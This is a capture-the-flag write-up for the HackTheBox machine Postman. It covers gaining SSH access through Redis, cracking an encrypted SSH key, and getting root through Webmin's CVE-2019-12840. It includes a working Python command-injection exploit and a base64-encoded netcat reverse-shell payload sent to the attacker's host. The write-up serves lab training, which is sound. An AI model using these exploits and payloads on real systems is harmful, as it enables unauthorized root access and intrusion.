Postman was a good mix of easy challenges providing a chance to play with Redis and exploit Webmin. I’ll gain initial access by using Redis to write an SSH public key into an authorized_keys file. Then I’ll pivot to Matt by cracking his encrypted SSH key and using the password. That same password provides access to the Webmin instance, which is running as root, and can be exploited to get a shell. In Beyond Root, I’ll look at a Metasploit Redis exploit and why it failed on this box.

Box Info

Name Postman Postman
Play on HackTheBox
Release Date 02 Nov 2019
Retire Date 14 Mar 2020
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Postman
Radar Graph Radar chart for Postman
First Blood User 00:45:58sampriti
First Blood Root 00:55:04anymuz
Creator TheCyberGeek



nmap shows four ports, HTTP (TCP 80, 10000), SSH (TCP 22) and Redis (TCP 6379):

root@kali# nmap -p- --min-rate 10000 -oA scans/nmap-alltcp
Starting Nmap 7.80 ( ) at 2019-11-04 06:47 EST
Nmap scan report for
Host is up (0.033s latency).
Not shown: 65531 closed ports
22/tcp    open  ssh
80/tcp    open  http
6379/tcp  open  redis
10000/tcp open  snet-sensor-mgmt

Nmap done: 1 IP address (1 host up) scanned in 8.49 seconds
root@kali# nmap -p 22,80,6379,10000 -sC -sV -oA scans/nmap-tcpscripts
Starting Nmap 7.80 ( ) at 2019-11-04 06:48 EST
Nmap scan report for
Host is up (0.029s latency).

22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 37.33 seconds

Based on the OpenSSH and Apache versions, this looks like Ubuntu 18.04, Bionic Beaver.

Website - TCP 80


The site looks to be under construction:


None of the links go anywhere, and I didn’t see anything interesting the source.

Directory Brute Force

gobuster returned some directories:

root@kali# gobuster -u -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -x php -o scans/gobuster-root-80-php

Gobuster v2.0.1              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   :
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : php
[+] Timeout      : 10s
2019/11/04 06:53:02 Starting gobuster
/images (Status: 301)
/upload (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
2019/11/04 07:01:16 Finished

These had directory listing on, but I didn’t find anything interesting in them

Webmin - TCP 10000


On TCP 10000, there’s a Webmin instance. Visiting on HTTP returns an error:


Not only does this give a pointer to HTTPS, but it also gives a hostname as well. I’ll add postman to my hosts file. I did some basic poking around with the port 80 site using this hostname, but didn’t find anything different.


With HTTPS, I get a login form for Webmin:


Webmin often runs as root to allow for it to do all the administrative things it does, so I’ll keep an eye out for credentials.

Redis - TCP 6379

I can interact with Redis just using nc. I can run keys to list the current keys:

root@kali# nc 6379
keys *

It’s a bit cleaner to use redis-cli, which I can install on Kali with apt-get install redis-tools. Same command:

root@kali# redis-cli -h> keys *
(empty list or set)

This redis instance has nothing in it. I can add something:> incr 0xdf
(integer) 1> keys *
1) "0xdf"> get 0xdf

One known method to get RCE via redis using Master-Slave Replication. I couldn’t get that to work here (I’ll look at why in Beyond Root). Also, this exploit would often set the redis instance into a state where I couldn’t write, which led to a lot of resets when the box was released.

Shell as redis


Since I can write to redis, I basically have almost arbitrary write on the file system as the user redis is running as by writing the database to a file with the save command. The reason it’s “almost arbitrary” is because I can’t cleanly write a file, but rather, I can write my content with junk on either side. But there are many file-based attacks on Linux that are robust to the extra junk. For example, writing an SSH key. sshd will ignore the junk lines, and process lines that have a public key in the authorized_keys file.

Write SSH Key

I can check the current directory for redis:> config get dir
1) "dir"
2) "/var/lib/redis"

I can make that guess that this is likely the user that runs the redis server’s home directory. I can confirm that by changing the current directory to ./.ssh:> config set dir ./.ssh
OK> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"

The fact that that command works indicates that directory exists, and which suggests this is a home directory for this user.

I’ll generate a key with ssh-keygen, and then add it to a file with some extra newlines before and after the key:

root@kali# (echo -e "\n\n"; cat ~/; echo -e "\n\n") > spaced_key.txt

Redis is going to write a binary database file into authorized_keys, where sshd is then going to open that file as an ASCII text file and read it line by line, looking for a public key that matches the private key being sent to it. The newlines will help make sure that the public key is on its own line in the file.

I can use the -x options in redis-cli which will “read the last argument from STDIN” to cat this file into redis-cli and set it’s value into the database:

root@kali# cat spaced_key.txt | redis-cli -h -x set 0xdf

Next I’ll tell redis that the dbname is authorized_keys, and then save:> config set dbfilename "authorized_keys"
OK> save


Now I can get a shell with SSH:

root@kali# ssh -i ~/id_rsa_generated redis@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:kea9iwskZTAT66U8yNRQiTa6t35LX8p0jOpTfvgeCh0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

 * Documentation:
 * Management:
 * Support:

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
Last login: Mon Aug 26 03:04:25 2019 from
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)

With that shell, I can look at the authorized_keys file and see there’s junk, but there’s also a line that is the public key:

redis@Postman:~/.ssh$ cat authorized_keys 
REDIS0008       redis-ver4.0.9


ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFFzFsH+WX95lqeCJkOp6cRZufRzw8pGqdoj1q4NL9LmPvtDCiGxsDb5D+vF6rXMrW0cqH3P4kYiTG8+RLrolGFTkR+V/2CXDmABQx5T640fCH77oiMF8U9uoKGS+ow5vA4Vq4QqKFsu+J9qn/sMbLCJ/874tay6a1ryPJdtjj0SxTems1p2WgklYiZZKKscmYH4+dMtHMdQAKv3CTpWbSE7De4UvAUFvxiKS1yHLh8QF5L0YCUZ42pNtzZ4CHPRojxJZKbOHhTOJms4CLi3CXN/ZEpPijt0mJaGrxnA3oOkOFIscqoeXYFybTs82KzKqwwP4Y6ACWJwk1Dqrv37I/L+9YU/8Rv5b+r0/c1p9lZ1pnnjRt46g/kocnY3AZxcbmDUHx5wAlsNwK8s5Aw+IOicBYCOIv2KyXUT61/lW2iUTBIiMh0yrqehLfJ7HS3pSycQnWdVPoRbmCfvuJqQGyaJMu+ceqYqpwHEBoUlIjKnSHF30aHKL5ALFREEo1FCc= root@kali

Priv: redis –> Matt


In looking around the file system, I see one user with a home directory, and it contains user.txt:

redis@Postman:/home/Matt$ ls -l
total 4
-rw-rw---- 1 Matt Matt 33 Aug 26 03:07 user.txt

As redis, I can’t read it.

Matt also has a .ssh directory, but I can’t get into it. However, looking around the file system, there’s an interesting file in /opt that I can access:

redis@Postman:/opt$ ls -l
total 4
-rwxr-xr-x 1 Matt Matt 1743 Aug 26 00:11 id_rsa.bak

It is a private key, and it’s encrypted:

redis@Postman:/opt$ file id_rsa.bak 
id_rsa.bak: PEM RSA private key

redis@Postman:/opt$ cat id_rsa.bak 
Proc-Type: 4,ENCRYPTED


Crack Key

I’ll use the script to convert the key into a format that john can break:

root@kali# /opt/john/run/ id_rsa_postman_matt_enc > id_rsa_postman_matt.john

I’ll run it in john, and it cracks:

root@kali# /opt/john/run/john id_rsa_postman_matt.john --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 3 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (id_rsa_postman_matt_enc)
1g 0:00:00:08 DONE (2019-11-06 05:57) 0.1122g/s 1609Kp/s 1609Kc/s 1609KC/s     1990..*7¡Vamos!
Session completed

The password is “computer2008”.

SSH Fail

Obviously the next thing I tried is to SSH as Matt, but it fails:

root@kali# ssh -i ~/id_rsa_postman_matt_enc matt@
Enter passphrase for key '/root/id_rsa_postman_matt_enc':
Connection closed by port 22   

This isn’t that my password is wrong. If I put in the wrong pass, it just prints the passphrase prompt again:

root@kali# ssh -i ~/id_rsa_postman_matt_enc Matt@
Enter passphrase for key '/root/id_rsa_postman_matt_enc': 
Enter passphrase for key '/root/id_rsa_postman_matt_enc': 

That decryption of the key is being done locally on my box, so ssh knows without having to talk to Postman that I entered the wrong password.

If I run ssh with -vvv for super verbose, I don’t get much more information:

root@kali# ssh -i ~/id_rsa_postman_matt_enc Matt@ -vvv
OpenSSH_8.0p1 Debian-6, OpenSSL 1.1.1d  10 Sep 2019
debug3: authmethod_is_enabled publickey
debug1: Next authentication method: publickey
debug1: Trying private key: /root/id_rsa_postman_matt_enc
Enter passphrase for key '/root/id_rsa_postman_matt_enc': 
debug3: sign_and_send_pubkey: RSA SHA256:pmHRNsyWPhOd5dum4QPtS3ifdtk3KawkS09ZqCBmFHM
debug3: sign_and_send_pubkey: signing using rsa-sha2-512
debug3: send packet: type 50
debug2: we sent a publickey packet, wait for reply
Connection closed by port 22

Once I decrypt and send the key, the server just closes the connection.

I tried connecting as Matt using “computer2008” as a password, but get a similar result:

root@kali# ssh Matt@
Matt@'s password: 
Permission denied, please try again.

As redis, I am able to look at the /etc/ssh/sshd_config file, which includes these lines:

#deny users
DenyUsers Matt

That explains what’s happening here.


It turns out that Matt reuses his SSH key password as his system password, as I find out when I eventually try to use su, it works:

redis@Postman:/$ su Matt
Matt@Postman:/$ id
uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)

Now I can grab user.txt:

Matt@Postman:~$ cat user.txt 

Priv: Matt –> root

Webmin Login

Armed with Matt’s password, I decided to check webmin, because it’s very common that webmin uses the system’s authentication. It works:


Matt does not have access to do much:


Webmin Exploits

There was a bunch of news in August 2019 about a backdoor inserted into the source code for webmin that allowed remote code execution. The vulnerability is in the password change script, password_change.cgi. Unfortunately, password changing is not enabled in this instance of webmin, as I can see if I try to POST to /password_change.cgi (which I found in the Metasploit exploit):

HTTP/1.0 500 Perl execution failed
Server: MiniServ/1.910
Date: Wed, 6 Nov 2019 11:53:02 GMT
Content-type: text/html; Charset=iso-8859-1
Connection: close

<h1>Error - Perl execution failed</h1>
<p>Password changing is not enabled! at /usr/share/webmin/password_change.cgi line 12.

But this started me looking at other webmin vulnerabilities. CVE-2019-12840 is described on Packet Storm as:

An arbitrary command execution vulnerability in Webmin 1.910 and lower versions. Any user authorized to the “Package Updates” module can execute arbitrary commands with root privileges.

It turns out that’s the one thing Matt can do!

Exploit POC

I didn’t find anyone who had scripted this out, and I don’t like using Metasploit because it’s harder to see under the hood of what’s going on, so I’m going to play with this on my own.

It looks like the Metasploit modules POSTs the payload as:


url-decoded that’s:

u=acl/apt&u= | #{payload}&ok_top=Update Selected Packages

I’ll open up a python terminal and play around a bit. First I needed to login, so I import requests (as well as the packages to disable the annoying InsecureRequestWarning), start a session, and issue a POST that matches what I see in Burp when I log in:

>>> import requests
>>> import requests.packages.urllib3
>>> requests.packages.urllib3.disable_warnings()
>>> s = requests.session()
>>>'', data={'page':'', 'user':'Matt', 'pass':'computer2008'}, verify=False, proxies={"https":""})
<Response [200]>

The next part took some playing around with. There were a few POSTs made in the code, but it’s the last one that contained the payload, so I figured I’d try that next and see if I could get it to work. That is the post that looks like this:

res = send_request_cgi(
    'method' => 'POST',
    'cookie' => "sid=#{cookie}",
    'ctype'  => 'application/x-www-form-urlencoded',
    'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
    'headers' =>
        'Referer' => "#{peer}/package-updates/?xnavigation=1"
    'data' => "u=acl%2Fapt&u=%20%7C%20#{payload}&ok_top=Update+Selected+Packages"

The cookie will be handled by the session in requests. So I started as simply as possible:

>>> resp ='', data={'u':'acl/apt', 'u':' | bash -c id', 'ok_top':'Update Selected Packages'}, verify=False, proxies={"https":""})

I’m using verify=False so I can hit untrusted TLS, and proxies to send the request through Burp so I can troubleshoot.

When I print the output, I see an interesting warning at the bottom:

>>> print(resp.text)
<!DOCTYPE html>
<b>Warning!</b> Webmin has detected that the program <tt></tt> was linked to from an unknown URL, which appears to be outside the Webmin server. This may be an attempt
 to trick your server into executing a dangerous command.<p>
Make sure your browser is configured to send referrer information so that it can be verified by Webmin.<p>
Alternately, you can configure Webmin to allow links from unknown referrers by :<ul><li>Login as <tt>root</tt>, and edit the <tt>/etc/webmin/config</tt> file.<li>Find the line <tt>referers_none=1</tt> and change it to <tt
>referers_none=0</tt>.<li>Save the file.</ul><p>WARNING - this has the side effect of opening your system up to reflected XSS attacks and so is not recommended!!<p>

So I need a referer header. I’ll try that:

>>> resp ='', data={'u':'acl/apt', 'u':' | bash -c id', 'ok_top':'Update Selected Packages'}, verify=False, proxies={"https":""}, headers={'Referer':''})

This time, the response seems to indicate no error from the server, but also, no result of id. I bounced over to Burp to take a look:

POST /package-updates/update.cgi HTTP/1.1
User-Agent: python-requests/2.21.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: redirect=1; sid=557645a850e92b4939b9290c33fba75a; testing=1
Content-Length: 49
Content-Type: application/x-www-form-urlencoded


The request is supposed to have two different u parameters, but only the second one is being sent! This is requests trying to help fix an error for me. I found a post on Stack Overflow which showed how to fix this using key-value tuples:

>>> resp ='', data=[('u', 'acl/apt'), ('u', ' | bash -c id'), ('ok_top', 'Update Selected Packages')], verify=False, proxies={"https":""}, headers={'Referer':''})

And when I look at the response, I see the execution result (in the middle, in <pre> tags):

>>> print(resp.text)
<div class="panel-body">
Building complete list of packages ..<p>
Now updating <tt>acl  | bash -c id</tt> ..<br>
<b>Installing package(s) with command <tt>apt-get -y  install acl  | bash -c id</tt> ..</b><p>
<pre>uid&#61;0(root) gid&#61;0(root) groups&#61;0(root)
<b>.. install complete.</b><p>
No packages were installed. Check the messages above for the cause of the error.<p>

I can stop here and just get a shell, but I for the sake of polishing, I’ll import re to get the results out of the large mass of HTML:

>>> import re
>>> re.findall('<pre>.*</pre>', resp.text, re.DOTALL)
['<pre>uid&#61;0(root) gid&#61;0(root) groups&#61;0(root)\n</pre>']
>>> re.findall('<pre>(.*)</pre>', resp.text, re.DOTALL)
['uid&#61;0(root) gid&#61;0(root) groups&#61;0(root)\n']
>>> print(re.findall('<pre>(.*)</pre>', resp.text, re.DOTALL)[0])
uid&#61;0(root) gid&#61;0(root) groups&#61;0(root)

I’ll use html to unescape the encoding:

>>> import html
>>> print(html.unescape(re.findall('<pre>(.*)</pre>', resp.text, re.DOTALL)[0]))
uid=0(root) gid=0(root) groups=0(root)


Now I’ll issue a command to get a shell. I had to play around for a bit to get something that would, work, but I found that base64 encoding the reverse shell commands and then echoing that string into base64 -d and then bash worked:

>>> resp ='', data=[('u', 'acl/apt'), ('u', '| bash -c "echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuNiA0NDMgPi90bXAvZgo=|base64 -d|bash -i"'), ('ok_top', 'Update Selected Packages')], verify=False, proxies={"https":""}, headers={'Referer':''})

Then at my listener:

root@kali# nc -lnvp 443
Ncat: Version 7.80 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

And grab root.txt:

# cat /root/root.txt

Beyond Root - Failed Slave Exploit

On first seeing Redis listening, I came across this exploit to get RCE in Metasploit:

msf5 exploit(linux/redis/redis_unauth_exec) > run

[*] Started reverse TCP handler on 
[*]     - Compile redis module extension file
[+]     - Payload generated successfully! 
[*]     - Listening on
[*]     - Rogue server close...
[*]     - Sending command to trigger payload.
[!]     - This exploit may require manual cleanup of './' on the target
[*] Exploit completed, but no session was created.

It doesn’t work. I ran the exploit with Wireshark recording, and saw this stream:


The exploit is trying to set the server to be a slave of my host, then configuring a database filename of a .so file. Then it tries to load that .so file, but the error -ERR unknown command 'MODULE' comes back.

This version of Redis is not vulnerable to this attack. Someone created an issue on the Metasploit GitHub about it. But the issue is not a version thing. The issue is that the MODULE command doesn’t exist. Why? The answer is in the Redis config:

redis@Postman:/etc/redis$ grep MODULE redis.conf 
################################## MODULES #####################################
rename-command MODULE ""